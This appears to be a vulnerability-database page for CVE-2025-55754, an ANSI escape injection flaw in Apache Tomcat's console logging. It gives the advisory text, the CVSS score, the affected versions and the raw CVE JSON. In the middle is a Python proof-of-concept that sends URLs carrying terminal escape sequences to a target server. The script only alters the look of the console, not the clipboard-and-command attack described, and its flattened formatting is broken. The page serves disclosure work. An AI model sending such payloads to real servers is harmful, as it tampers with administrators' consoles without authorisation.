Security Vulnerability Report
中文
CVE-2025-55754 CVSS 9.6 CRITICAL

CVE-2025-55754

Published: 2025-10-27 18:15:43
Last Modified: 2026-05-12 13:17:22

Description

Improper Neutralization of Escape, Meta, or Control Sequences vulnerability in Apache Tomcat. Tomcat did not escape ANSI escape sequences in log messages. If Tomcat was running in a console on a Windows operating system, and the console supported ANSI escape sequences, it was possible for an attacker to use a specially crafted URL to inject ANSI escape sequences to manipulate the console and the clipboard and attempt to trick an administrator into running an attacker controlled command. While no attack vector was found, it may have been possible to mount this attack on other operating systems. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.10, from 10.1.0-M1 through 10.1.44, from 9.0.40 through 9.0.108. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.60 though 8.5.100. Other, older, EOL versions may also be affected. Users are recommended to upgrade to version 11.0.11 or later, 10.1.45 or later or 9.0.109 or later, which fix the issue.

CVSS Details

CVSS Score
9.6
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:* - VULNERABLE
Apache Tomcat 11.0.0-M1 至 11.0.10
Apache Tomcat 10.1.0-M1 至 10.1.44
Apache Tomcat 9.0.40 至 9.0.108
Apache Tomcat 8.5.60 至 8.5.100

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys def exploit_cve_2025_55754(target_url): """ CVE-2025-55754 PoC - Apache Tomcat ANSI Escape Sequence Injection This PoC demonstrates how an attacker can inject ANSI escape sequences through URL parameters to manipulate the Tomcat console output. Note: This is for educational and security testing purposes only. """ # ANSI escape sequences for terminal manipulation # ESC[2J - Clear screen # ESC[?25l - Hide cursor # ESC[?25h - Show cursor # ESC[0m - Reset attributes ansi_sequences = { 'clear_screen': '\x1b[2J', 'hide_cursor': '\x1b[?25l', 'show_cursor': '\x1b[?25h', 'reset': '\x1b[0m', 'bold': '\x1b[1m', 'red_text': '\x1b[31m', 'green_text': '\x1b[32m' } # Construct malicious URL with ANSI escape sequences # Attackers can inject these sequences through various URL parameters malicious_params = [ f"param1={ansi_sequences['clear_screen']}{ansi_sequences['hide_cursor']}MALICIOUS_OUTPUT", f"param2={ansi_sequences['red_text']}WARNING: System Compromised{ansi_sequences['reset']}", f"username={ansi_sequences['bold']}admin{ansi_sequences['reset']}" ] print("[*] CVE-2025-55754 - Apache Tomcat ANSI Escape Sequence Injection") print(f"[*] Target: {target_url}") print("[*] Sending malicious request with ANSI escape sequences...") for param in malicious_params: try: target = f"{target_url}?{param}" response = requests.get(target, timeout=10) print(f"[+] Sent payload: {param[:50]}...") print(f"[+] Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") print("[*] Attack completed. Check Tomcat logs for injected sequences.") if __name__ == "__main__": if len(sys.argv) > 1: exploit_cve_2025_55754(sys.argv[1]) else: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://vulnerable-tomcat-server:8080/index.jsp")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55754", "sourceIdentifier": "[email protected]", "published": "2025-10-27T18:15:42.710", "lastModified": "2026-05-12T13:17:22.457", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Escape, Meta, or Control Sequences vulnerability in Apache Tomcat.\n\nTomcat did not escape ANSI escape sequences in log messages. If Tomcat was running in a console on a Windows operating system, and the console supported ANSI escape sequences, it was possible for an attacker to use a specially crafted URL to inject ANSI escape sequences to manipulate the console and the clipboard and attempt to trick an administrator into running an attacker controlled command. While no attack vector was found, it may have been possible to mount this attack on other operating systems.\n\n\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.10, from 10.1.0-M1 through 10.1.44, from 9.0.40 through 9.0.108.\n\nThe following versions were EOL at the time the CVE was created but are \nknown to be affected: 8.5.60 though 8.5.100. Other, older, EOL versions may also be affected.\nUsers are recommended to upgrade to version 11.0.11 or later, 10.1.45 or later or 9.0.109 or later, which fix the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-150"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.5.60", "versionEndIncluding": "8.5.100", "matchCriteriaId": "8252492F-6708-4904-8F48-E53D31B6CAF7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.40", "versionEndExcluding": "9.0.109", "matchCriteriaId": "80305B12-76BD-409C-9B76-4FD6E849C049"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0", "versionEndExcluding": "10.0.27", "matchCriteriaId": "B30CA0D9-834D-4044-B03B-7E6E60A4B0E6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.1.0", "versionEndExcluding": "10.1.45", "matchCriteriaId": "27F4F718-AE8D-417A-BEE4-780FD77625D2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0", "versionEndExcluding": "11.0.11", "matchCriteriaId": "FC2A3FE1-BC50-419D-AEFA-097C58A3F243"}]}]}], "references": [{"url": "https://lists.apache.org/thread/j7w54hqbkfcn0xb9xy0wnx8w5nymcbqd", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/27/5", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}, {"url": "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "source": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e"}]}}